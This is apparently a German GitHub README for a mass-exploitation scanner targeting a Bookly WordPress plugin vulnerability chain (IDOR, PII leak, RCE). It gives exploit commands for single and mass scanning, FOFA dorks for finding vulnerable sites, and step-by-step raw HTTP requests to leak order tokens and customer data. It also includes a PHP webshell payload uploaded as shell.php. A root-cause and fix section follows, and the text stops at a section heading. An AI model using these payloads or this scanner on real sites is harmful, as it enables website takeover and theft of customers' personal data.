CVE-2026-93399

Bookly <= 28.2 Unauth IDOR + PII-Leak + RCE

Scanner zur massenhaften Ausnutzung von CVE-2026-93399 (CVSS 9.1 Kritisch), das das WordPress-Plugin Bookly — Online Scheduling and Appointment Booking System (Versionen <= 28.2) betrifft.

Inhaltsverzeichnis

• Überblick
• Schwachstellenkette
• Betroffene Versionen
• Voraussetzungen
• Installation
• Verwendung
• FOFA-Dorks
• Angriffsablauf
• Ausgabeformat
• Technische Details
• Haftungsausschluss
• Lizenz

Überblick

Das Bookly-Plugin für WordPress ist über die AJAX-Aktionen bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar und bookly_rollback_order anfällig für Insecure Direct Object Reference (IDOR). Alle Aktionen sind nicht authentifiziert (_default => 'anonymous') und der CSRF-Schutz ist deaktiviert (csrfTokenValid() gibt true zurück).

Der Handler bookly_get_form_id speichert vom Angreifer kontrollierte form_data (einschließlich order_id) ungeprüft in einer neuen Buchungssitzung. Der Handler bookly_render_complete vertraut anschließend dieser injizierten order_id, um das geheime Token der entsprechenden Bestellung nachzuschlagen und zurückzugeben — wodurch nicht authentifizierte Angreifer sequenzielle Bestell-IDs aufzählen, die Bestell-Token anderer Kunden offenlegen, Kalender-/Termininformationen abrufen und beliebige nicht abgeschlossene Buchungen dauerhaft löschen können.

Schwachstellenkette

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Betroffene Versionen

• Anfällig: Bookly <= 28.2 (alle Versionen bis einschließlich 28.2)
• Behoben in: 28.3 (Whitelist in _prepareFormData() und Sanitizer in _prepareCartData() hinzugefügt)

Voraussetzungen

• Python 3.8+
• requests-Bibliothek

pip install requests

Installation

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Verwendung

Einzelnes Ziel

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Massen-Scan

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Optionen

Flag	Beschreibung
-u, --url	Einzelne Ziel-URL
-f, --file	Datei mit Ziel-URLs (eine pro Zeile)
--detect	Nur Version prüfen (sicher)
--enumerate	IDOR: Bestell-Token offenlegen
--pii	PII über ICS-Kalenderexport extrahieren
--rce	Webshell-Upload versuchen
--full	Vollständige Kette: IDOR + PII + RCE
--start N	Start-order_id (Standard: 1)
--end N	End-order_id (Standard: 50)
-th, --threads N	Anzahl der Threads (Standard: 5)
-o, --output FILE	Ausgabedatei (Standard: results.txt)
-v, --verbose	Alle Versuche anzeigen

FOFA-Dorks

Alle Bookly-Installationen finden

body="bookly-responsive-appointment-booking-tool"

Bookly-Seiten mit gerendertem Buchungsformular finden

body="BooklyL10nGlobal"

Versionsspezifisch (anfällig <= 28.2)

body="bookly-main.css?ver=28.2"

Kombiniert (höchste Konfidenz)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Ziele mit dem Files-Add-on finden (für RCE)

body="bookly-addon-files"

Ziele mit konfiguriertem Datei-Upload-Feld finden (RCE-fähig)

body="bookly-js-upload"

Angriffsablauf

Schritt 1: order_id injizieren (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Antwort:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Verwundbarer Code (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Schritt 2: Order-Token leaken

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Antwort:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Verwundbarer Code (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Schritt 3: PII über ICS extrahieren

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Antwort: ICS-Datei mit Kundendaten:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Schritt 4: RCE (erfordert das Files-Add-on)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Shell-Speicherort: /wp-content/uploads/bookly-files/shell.php

Ausgabeformat

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Technische Details

Ursache

Der getFormId()-Handler speichert den gesamten form_data-Parameter (benutzerkontrolliertes JSON) ohne jegliche Whitelist oder Bereinigung in der Session-Datenbank. Dadurch kann ein Angreifer beliebige Session-Schlüssel injizieren, einschließlich order_id.

Der renderComplete()-Handler liest order_id aus der Session und fragt die Order-Tabelle direkt ab — ohne zu überprüfen, ob die aktuelle Session diese Bestellung erstellt hat.

Zwei sich verstärkende Schwachstellen

1. CSRF deaktiviert — csrfTokenValid() ist im Buchungsmodul überschrieben, um return true zurückzugeben
2. Alle Aktionen anonym — permissions() gibt array('_default' => 'anonymous') zurück, sodass jeder Handler sowohl wp_ajax_- als auch wp_ajax_nopriv_-Hooks registriert

Die Behebung (28.3)

Version 28.3 fügte _prepareFormData() hinzu — eine strikte Whitelist, die alles außer Anzeigeeinstellungen (skip_service_step, hide_service_part1, hide_service_part2, defaults) entfernt. Außerdem wurde _prepareCartData() hinzugefügt, um die Schlüssel der Warenkorb-Elemente zu bereinigen.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

RCE-Voraussetzungen